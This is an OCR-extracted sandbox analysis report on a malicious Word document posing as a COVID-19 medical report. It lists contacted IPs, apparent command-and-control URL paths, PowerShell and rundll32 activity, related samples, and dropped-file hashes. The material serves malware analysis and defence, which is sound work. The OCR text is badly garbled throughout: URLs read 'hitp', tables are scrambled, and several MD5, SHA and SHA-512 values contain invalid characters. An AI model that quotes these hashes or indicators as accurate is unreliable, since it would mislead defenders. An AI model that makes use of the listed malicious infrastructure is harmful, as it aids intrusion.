https://www.virustotal.com/gui/url/282041b896724be8d1e5004e96e41667bbb28cd5fb90ce8ec979984c59dfa204/detection/u-282041b896724be8d1e5004e96e41667bbb28cd5fb90ce8ec979984c59dfa204-1610479022
https://www.virustotal.com/gui/url/27aba861cbc56e53fabd01557c5af3c8dc21f0025c51baf7aa5fc79cb74ab0ef/detection/u-27aba861cbc56e53fabd01557c5af3c8dc21f0025c51baf7aa5fc79cb74ab0ef-1610479021
https://www.virustotal.com/gui/url/90c83e8fbf19055b146d1935df7d2ca51bd2f56898be45ec2c1cdc23315bbd98/detection/u-90c83e8fbf19055b146d1935df7d2ca51bd2f56898be45ec2c1cdc23315bbd98-1610479022
https://www.virustotal.com/gui/url/fea04cc9a681357d8a9d667f9da42a81db1fa9e666e8f8811f177d1efc84049d/detection/u-fea04cc9a681357d8a9d667f9da42a81db1fa9e666e8f8811f177d1efc84049d-1610479023

Contacted URLs

Name

Malicious

Antivirus Detection

Reputation

[ S el T
R e e e G T e e [ I T e

URLs from Memory and Binaries

Name

hitp:/fiwww.windows.com/pctv.

hitp://investor.msn.com

hitp://www.msnbc.com/news/ticker.txt

hitp://ocsp.sectigo.com0

hitp://https://remediis.comp

hitp:/fiwww.litespeedtech.com

hitp://iwindowsmedia.com/redir/services.asp?
WMPFriendly=true

hitp:/fiwww.hotmail.com/oe

hitp://services.msn.com/svcs/oe/certpage.asp?
name=%s&email=%s&&Check

hitp://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t

Copyright null 2021

Source Malicious

rundll32.exe, 00000008.0000000 false
2.2091693708.0000000001D60000.
00000002.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2092559720.0000000001BF0000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2089009552.000
0000001FD0000.00000002.0000000

1.sdmp, rundlI32.exe, 00000008
.00000002.2091693708.000000000
1D60000.00000002.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2092559720.0000000001BF0000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2089009552.000
0000001FD0000.00000002.0000000

1.sdmp, rundlI32.exe, 00000008
.00000002.2091693708.000000000
1D60000.00000002.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2093523040.0000000003C7000
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2093497581.0000000003C5C00
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2093517208.0000000003C6E00
0.00000004.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2092843874.0000000001DD7000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2089320581.000
00000021B7000.00000002.0000000

1.sdmp, rundll32.exe, 0000000D
.00000002.2100702841.000000000
1E87000.00000002.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2092559720.0000000001BF0000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2089009552.000
0000001FD0000.00000002.0000000

1.sdmp, rundll32.exe, 00000008
.00000002.2091693708.000000000
1D60000.00000002.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2092843874.0000000001DD7000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2089320581.000
00000021B7000.00000002.0000000

1.sdmp, rundlI32.exe, 0000000D
.00000002.2100702841.000000000
1E87000.00000002.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2093523040.0000000003C7000
0.00000004.00000001.sdmp

Antivirus Detection

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

Avira URL Cloud: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

Reputation
high

high

high

unknown

unknown

high

unknown

high

high

unknown
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https://www.virustotal.com/gui/url/fea04cc9a681357d8a9d667f9da42a81db1fa9e666e8f8811f177d1efc84049d/detection/u-fea04cc9a681357d8a9d667f9da42a81db1fa9e666e8f8811f177d1efc84049d-1610479023
https://www.virustotal.com/gui/url/282041b896724be8d1e5004e96e41667bbb28cd5fb90ce8ec979984c59dfa204/detection/u-282041b896724be8d1e5004e96e41667bbb28cd5fb90ce8ec979984c59dfa204-1610479022
https://www.virustotal.com/gui/url/27aba861cbc56e53fabd01557c5af3c8dc21f0025c51baf7aa5fc79cb74ab0ef/detection/u-27aba861cbc56e53fabd01557c5af3c8dc21f0025c51baf7aa5fc79cb74ab0ef-1610479021

Name Source Malicious Antivirus Detection Reputation

hitp://iwww.icra.org/vocabulary/. rundlI32.exe, 00000006.0000000 false e URL Reputation: safe unknown
2.2092843874.0000000001DD7000. e URL Reputation: safe
00000002.00000001.sdmp, rundll32.exe, e URL Reputation: safe

00000007.00000002.2089320581.000
00000021B7000.00000002.0000000
1.sdmp, rundll32.exe, 0000000D
.00000002.2100702841.000000000
1E87000.00000002.00000001.sdmp

hitp:// powershell.exe, 00000005.00000 false high
schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous 002.2088032725.000000000238000

0.00000002.00000001.sdmp, rund

1132.exe, 00000007.00000002.20

91689144.0000000002880000.0000

0002.00000001.sdmp, rundlI32.exe,

00000008.00000002.20928317

37.00000000027A0000.00000002.0

0000001.sdmp
hitp:// powershell.exe, 00000005.00000 false high

www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv  002.2086528973.000000000040400
0.00000004.00000020.sdmp

hitp://crt.sectigo.com/SectigoRSATimeStampingCA.crt0# powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
002.2093523040.0000000003C7000 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe

hitp://investor.msn.com/ rundlI32.exe, 00000006.0000000 false high
2.2092559720.0000000001BF0000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2089009552.000
0000001FD0000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2091693708.000000000
1D60000.00000002.00000001.sdmp

hitp://https://sectigo.com/CPS0D powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
002.2093523040.0000000003C7000 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe

hitp:/fwww.piriform.com/ccleaner powershell.exe, 00000005.00000 false high
002.2086528973.000000000040400
0.00000004.00000020.sdmp

hitp:/fiwww.%s.comPA powershell.exe, 00000005.00000 false e URL Reputation: safe low
002.2088032725.000000000238000 e URL Reputation: safe
0.00000002.00000001.sdmp, rund e URL Reputation: safe

1132.exe, 00000007.00000002.20
91689144.0000000002880000.0000
0002.00000001.sdmp, rundlI32.exe,
00000008.00000002.20928317
37.00000000027A0000.00000002.0
0000001.sdmp

Contacted IPs
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] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Public

IP Domain
69.49.88.46 unknown
109.232.216.177 unknown
71.72.196.159 unknown
5.2.81.171 unknown

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:
Number of new started drivers analysed:

Number of existing processes analysed:

Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:

Analysis stop reason:

Copyright null 2021

Country
United States
Turkey
United States
Turkey

Flag

=

ol i el

ASN
33734
42807
10796
3188

ASN Name Malicious
MPW-MACHLINK-NETUS  true
AEROTEK-ASTR true
TWC-10796-MIDWESTUS  true
ALASTYRTR true

31.0.0 Red Diamond

338773

12.01.2021

20:30:12

CloudBasic

Oh 7m 39s

false

light

XP-9743 Medical report COVID-19.doc
defaultwindowsofficecookbook.jbs

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

17

o O o o

e HCA enabled
e EGA enabled
e HDC enabled
e GSl enabled (VBA)
e AMSI enabled

default

Timeout
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Detection:
Classification:
EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time

20:30:36
20:30:37
20:30:41

Joe Sandbox View | Context

IPs

Match
69.49.88.46

71.72.196.159

Copyright null 2021

Type

API Interceptor
API Interceptor
API Interceptor

Associated Sample Name /| URL

MAL
mal100.troj.evad.winDOC@26/7@2/4
Failed

e Successful, ratio: 33.2% (good quality ratio 31.6%)
e Quality average: 71.6%
e Quality standard deviation: 24.9%

e Successful, ratio: 72%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time

e Enable AMSI

Found application associated with file extension:
.doc

Found Word or Excel or PowerPoint or XPS Viewer
Found warning dialog

Click Ok

Attach to Office via COM

Scroll down

Close Viewer

Show All

e Exclude process from analysis (whitelisted):
dllhost.exe, conhost.exe

e TCP Packets have been reduced to 100

e Report size exceeded maximum capacity and may
have missing behavior information.

* Report size getting too big, too many
NtOpenKeyEx calls found.

* Report size getting too big, too many
NtQueryAttributesFile calls found.

* Report size getting too big, too many
NtQueryValueKey calls found.

Description
1x Sleep call for process: msg.exe modified
32x Sleep call for process: powershell.exe modified

867x Sleep call for process: rundll32.exe modified

SHA 256 Detection Link Context

Get hash malicious Browse e 69.49.88.
46/kdd8h70
lwp/Ifu3p0
5/u2kanr3/

Get hash malicious Browse e 69.49.88.
46/2hsmx8q
ypf/8iv55u
q7hpxe/hfotz7/

Get hash malicious Browse e 71.72.196
.159/Asgu9
G/UPAJK1H/
kiwB2h2IhM
QGy9M40/Cw
UKkNROTLhDmM
T5iz7yr/QN
OGQRhP/

Get hash malicious Browse e 71.72.196
.159/YmBvq
XK/A1lbXsLo
MSYg/iogaw
BtL9c/yD6C9feh/
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https://view.joesandbox.com/analysis/254373/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254373/html/none?idtype=webid
https://view.joesandbox.com/analysis/254311/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254311/html/none?idtype=webid
https://view.joesandbox.com/analysis/214335/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/214335/html/none?idtype=webid
https://view.joesandbox.com/analysis/213489/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/213489/html/none?idtype=webid

Match

Copyright null 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

71.72.196
.159/HisuD
o3My4/

71.72.196
.159/IEHZ5
/HVIPRDwFo
J/OuQtgxrl
ROuU80/9t0s
yM1s3J/

71.72.196
.159/Udrox
O40uHCZo3/
SPUpyAXBIZ
AJIKR4ALZr6
qJHOM3/9tr
1e4XNde6jx
g22B/i2TVT
GpcHCpnicl/

71.72.196
.159/6YX6s
QtKK6MLta/
TbNsyU7EbV
PMjL/OMoOi
2xkKCNW7y6
7b/USvVDOTS
XSZ/BulSakK/

71.72.196
.159/LLRDD
CScx1Byk2D
/krMwjOaF5
6Uc9lleeMD
/WuP6hJZcQ
a4/5p5T7L/

71.72.196
.159/30AMQ
7MNt66IIE8
EI/DizHtXL
tgQHgx/U2N
H3hwOGWPot
mCV/dMZCjc
yGRF/qUw6h
gl/FWMSWVK
67N4mSEo0C/

71.72.196
.159/QxJ68
bj/OcYZ8J9
RWfz7qwepe
Y/7Zys/K1B
pu/5CRfSZC
JgSBtKcz/d
hIXBeS6VLIR/

71.72.196
.159/JMk30
NNrO1ReTb/
6XR5dMIuJF
NZfcR/lygOf
R2fiemXvduKb/

71.72.196
.159/EMc53
XBYQbNS5JI/

71.72.196
.159/1iekl
OTBS/ak8HNCcj/

71.72.196
.159/cv2mw
GF5/67daqj/
ZkWPeQbBjv
dWajsuvx/I
YL2/TIjK64
MelbfzHxBI/

71.72.196
.159/ejSg6
gT/pSnsS3g
AqTGFHUmM9V
/3g8Kv3cnC
G2Miq94/Sfoxz/

71.72.196
.159/tiVhu
DLoHxS/G2H
TAH/
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https://view.joesandbox.com/analysis/209610/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209610/html/none?idtype=webid
https://view.joesandbox.com/analysis/209583/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209583/html/none?idtype=webid
https://view.joesandbox.com/analysis/209581/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209581/html/none?idtype=webid
https://view.joesandbox.com/analysis/209575/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209575/html/none?idtype=webid
https://view.joesandbox.com/analysis/209571/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209571/html/none?idtype=webid
https://view.joesandbox.com/analysis/209452/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209452/html/none?idtype=webid
https://view.joesandbox.com/analysis/209451/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209451/html/none?idtype=webid
https://view.joesandbox.com/analysis/209450/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209450/html/none?idtype=webid
https://view.joesandbox.com/analysis/209449/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209449/html/none?idtype=webid
https://view.joesandbox.com/analysis/209425/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209425/html/none?idtype=webid
https://view.joesandbox.com/analysis/209410/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209410/html/none?idtype=webid
https://view.joesandbox.com/analysis/209409/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209409/html/none?idtype=webid
https://view.joesandbox.com/analysis/209407/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209407/html/none?idtype=webid

Match

Domains

No context

ASN

Match
AEROTEK-ASTR

TWC-10796-MIDWESTUS

Copyright null 2021

SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

>
»
]
=]
o,
2
@
o
[72]
o
3
=2
5
2
5
3
@
c
A
[

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
htt Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Con

text

71.72.196
.159/RQWeh
Xlfgtvs/ht
JbK7vQCVUS
RwZJeE/

71.72.196
.159/b9v60
T61MzfaloQ
AP/IIXIIMvsnl/

71.72.196
.159/v4zRq
awC6/myK9u
1BaFBMOak/

71.72.196
.159/w5aqN
3cMRoz5Eq/

71.72.196
.159/5U1wQ
cRoOWdLIEGx
1gIcTfWKFI
kHPs5yEqC/

Context

37.230.107.14
37.230.107.15
37.230.107.14
37.230.107.17
37.230.107.14
37.230.107.17
37.230.106.17
37.230.107.13
37.230.107.16
37.230.106.16
37.230.106.17
37.230.107.13
37.230.106.16
37.230.106.16
37.230.107.15
37.230.107.15
94.199.200.89
94.199.200.89
37.230.106.17
37.230.107.14
71.72.196.159
71.72.196.159
75.188.107.174
75.188.107.174
75.188.107.174
75.188.107.174
75.188.107.174
24.164.79.147

174.99.153.50
70.92.118.112
72.133.174.230
69.76.61.62
71.79.68.222
98.103.204.12
98.103.204.12
71.72.196.159
98.103.204.12
98.103.204.12
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https://view.joesandbox.com/analysis/209406/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209406/html/none?idtype=webid
https://view.joesandbox.com/analysis/209405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209405/html/none?idtype=webid
https://view.joesandbox.com/analysis/209402/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209402/html/none?idtype=webid
https://view.joesandbox.com/analysis/209401/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209401/html/none?idtype=webid
https://view.joesandbox.com/analysis/209400/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209400/html/none?idtype=webid
https://view.joesandbox.com/analysis/253860/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253860/html/none?idtype=webid
https://view.joesandbox.com/analysis/253816/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253816/html/none?idtype=webid
https://view.joesandbox.com/analysis/252254/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252254/html/none?idtype=webid
https://view.joesandbox.com/analysis/252197/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252197/html/none?idtype=webid
https://view.joesandbox.com/analysis/252076/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252076/html/none?idtype=webid
https://view.joesandbox.com/analysis/251840/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251840/html/none?idtype=webid
https://view.joesandbox.com/analysis/251760/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251760/html/none?idtype=webid
https://view.joesandbox.com/analysis/251677/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251677/html/none?idtype=webid
https://view.joesandbox.com/analysis/251270/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251270/html/none?idtype=webid
https://view.joesandbox.com/analysis/251265/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251265/html/none?idtype=webid
https://view.joesandbox.com/analysis/251243/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251243/html/none?idtype=webid
https://view.joesandbox.com/analysis/251181/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251181/html/none?idtype=webid
https://view.joesandbox.com/analysis/251155/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251155/html/none?idtype=webid
https://view.joesandbox.com/analysis/251154/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251154/html/none?idtype=webid
https://view.joesandbox.com/analysis/251153/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251153/html/none?idtype=webid
https://view.joesandbox.com/analysis/251152/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251152/html/none?idtype=webid
https://view.joesandbox.com/analysis/251029/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251029/html/none?idtype=webid
https://view.joesandbox.com/analysis/251028/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251028/html/none?idtype=webid
https://view.joesandbox.com/analysis/250934/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250934/html/none?idtype=webid
https://view.joesandbox.com/analysis/250919/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250919/html/none?idtype=webid
https://view.joesandbox.com/analysis/254373/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254373/html/none?idtype=webid
https://view.joesandbox.com/analysis/254311/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254311/html/none?idtype=webid
https://view.joesandbox.com/analysis/252546/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252546/html/none?idtype=webid
https://view.joesandbox.com/analysis/252092/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252092/html/none?idtype=webid
https://view.joesandbox.com/analysis/251915/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251915/html/none?idtype=webid
https://view.joesandbox.com/analysis/251901/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251901/html/none?idtype=webid
https://view.joesandbox.com/analysis/251884/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251884/html/none?idtype=webid
https://view.joesandbox.com/analysis/251727/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251727/html/none?idtype=webid
https://view.joesandbox.com/analysis/251157/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251157/html/none?idtype=webid
https://view.joesandbox.com/analysis/250013/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250013/html/none?idtype=webid
https://view.joesandbox.com/analysis/249617/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249617/html/none?idtype=webid
https://view.joesandbox.com/analysis/246421/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246421/html/none?idtype=webid
https://view.joesandbox.com/analysis/238596/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238596/html/none?idtype=webid
https://view.joesandbox.com/analysis/234043/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234043/html/none?idtype=webid
https://view.joesandbox.com/analysis/231645/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231645/html/none?idtype=webid
https://view.joesandbox.com/analysis/231540/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231540/html/none?idtype=webid
https://view.joesandbox.com/analysis/231508/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231508/html/none?idtype=webid
https://view.joesandbox.com/analysis/230686/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/230686/html/none?idtype=webid

Match

ALASTYRTR

MPW-MACHLINK-NETUS

Associated Sample Name /| URL SHA 256 Detection Link Context

Get hash malicious Browse e 98.103.204.12
Get hash malicious Browse e 98.103.204.12
Get hash malicious Browse e 5.2.81.142
Get hash malicious Browse e 185.8.128.151
Get hash malicious Browse e 5.2.84.232
Get hash malicious Browse e 5.2.84.232
Get hash malicious Browse e 5.2.84.160
Get hash malicious Browse e 5.2.84.160
Get hash malicious Browse e 5.2.84.160
Get hash malicious Browse e 5.2.84.160
Get hash malicious Browse e 5.2.84.160
Get hash malicious Browse e 5.2.84.160
Get hash malicious Browse e 5.2.84.160
Get hash malicious Browse e 5.2.84.160

Get hash malicious Browse e 5.2.84.160
Get hash malicious Browse e 5.2.84.160
Get hash malicious Browse e 5.2.84.160
Get hash malicious Browse e 185.8.33.27
Get hash malicious Browse e 5.2.84.160
Get hash malicious Browse e 5.2.84.160
Get hash malicious Browse e 5.2.84.160
Get hash malicious Browse e 5.2.81.142

Get hash malicious Browse e 69.49.88.46

Get hash malicious Browse e 69.49.88.46

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{4AB68257-B28F-4AE5-86AD-026C320EA73C}.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

data

dropped

1024

0.05390218305374581

false

3:03lYdn:4Wn

5D4D94EE7E06BBBOAF9584119797B23A
DBB111419C704F116EFA8E72471DD83E86E49677
4826C0D860AF884D3343CAB460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

95F83AEB4CAFCCEDSEAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B
A4

false

high, very likely benign file

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\XP-9743 Medical report COVID-19.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):

Copyright null 2021

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:12 2020, mtime=Wed Aug 26 14:08:12 2020,
atime=Wed Jan 13 03:30:33 2021, length=161792, window=hide

dropped
2238
4.553735922091283
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https://view.joesandbox.com/analysis/230537/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/230537/html/none?idtype=webid
https://view.joesandbox.com/analysis/230295/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/230295/html/none?idtype=webid
https://view.joesandbox.com/analysis/240379/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240379/html/none?idtype=webid
https://view.joesandbox.com/analysis/227870/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/227870/html/none?idtype=webid
https://view.joesandbox.com/analysis/219187/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/219187/html/none?idtype=webid
https://view.joesandbox.com/analysis/218675/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/218675/html/none?idtype=webid
https://view.joesandbox.com/analysis/203228/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/203228/html/none?idtype=webid
https://view.joesandbox.com/analysis/200061/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/200061/html/none?idtype=webid
https://view.joesandbox.com/analysis/195566/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/195566/html/none?idtype=webid
https://view.joesandbox.com/analysis/192416/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/192416/html/none?idtype=webid
https://view.joesandbox.com/analysis/190851/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/190851/html/none?idtype=webid
https://view.joesandbox.com/analysis/188854/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/188854/html/none?idtype=webid
https://view.joesandbox.com/analysis/184656/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/184656/html/none?idtype=webid
https://view.joesandbox.com/analysis/184081/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/184081/html/none?idtype=webid
https://view.joesandbox.com/analysis/184034/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/184034/html/none?idtype=webid
https://view.joesandbox.com/analysis/183907/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/183907/html/none?idtype=webid
https://view.joesandbox.com/analysis/183514/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/183514/html/none?idtype=webid
https://view.joesandbox.com/analysis/182559/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/182559/html/none?idtype=webid
https://view.joesandbox.com/analysis/182180/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/182180/html/none?idtype=webid
https://view.joesandbox.com/analysis/181865/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/181865/html/none?idtype=webid
https://view.joesandbox.com/analysis/181125/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/181125/html/none?idtype=webid
https://view.joesandbox.com/analysis/165976/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/165976/html/none?idtype=webid
https://view.joesandbox.com/analysis/254373/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254373/html/none?idtype=webid
https://view.joesandbox.com/analysis/254311/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254311/html/none?idtype=webid

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\XP-9743 Medical report COVID-19.LNK

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

false
48:8T/XT3In3e/7J0e/kfQh2T/XT3In3e/7J0e/kfQ/:8T/XLIN3e0e8fQh2T/XLIN3e0e8fQ/
A1640691CEEC8E432223B5D9BF210FA0

9774A9DCEEEDA35DEE3885096 DEB30165BFAE407
A7025C15BBD7A8393D83B6C7AADDC266A589383C76A6CIA3F4095F28FF89213E

24EAB918AA1EG67DD52173FE047EDCC327C138B8C9A07352C28691C20470E743B6EDA22EFE48AEAATAS0001355E99407C2E6BB7AFACE29C8B7EC1644EBSESES
DB

false

| EETTTOPRRN Fo S.{Si ] di X P.O. 0. #00.../C:\ t1.....QK.X..Users. .......QK. X o, 6....Us.ers..@.s.hell3.2.dll,.-
.2.1.8.1.3....L.1.....Q.y..user.8......QK.X.Q.y*...&=.... Alb.us....z.1.....Q.y..Desktop.d......QK.X.Q.y*... eeieDiesktop..@.s.h.ell.3.2..d.ll.,.-.2
1.7.6.9......2.x..-R# XP-974~1.DOC. t....... Q.y.Qy*..8 X P29.7.4.3. Med.i.cal rep.ort .C.OV.LD.~.1.9..d.0.Cooeurrrrrrrirn SB[ 2.
...Ci\Users\.#........... ..\\305090\Users.user\Desktop\XP-9743 Medical report COVID-19.doc.:.....\....\....\....\....\.D.e.s.k.t.0.p.\. X.P.-.9.7.4.3. .M.e.d.i.c.al. .re.p.or.t.
.C.0.V.l.D.-.1.9...d.o.c. 1SPS.XF.L8C....&m.m............-...5.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

ASCII text, with CRLF line terminators

dropped

131

5.033583001902089

false
3:M1X4AWztELQS|mIfFudolfiwztELQSjmIfFu4omX1X4WztELQSjmIfFu4ov:MDELYyIfjufrELYIfiNELyIfjy
704CBC7C6FF8908BC5C52CE42F4761B5

5D1240BCC4954C9A5BBE7F8ESDFF3395536CE3BB
53BOE81D3E027793CE23B9E4393A9FDDBCC24D1FFEE1IECC4661FD6CO079EAA25S
1720DCF3868389BC3C9280DFA018385A4AE383B1A84680BBA3B4BFC70AEFBDAGEA3CBASF04DA75144B47EDFFA0913180C032488018F9A4915B04D159528D197

false

[doc]..XP-9743 Medical report COVID-19.LNK=0..XP-9743 Medical report COVID-19.LNK=0..[doc]..XP-9743 Medical report COVID-19.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:
File Type:
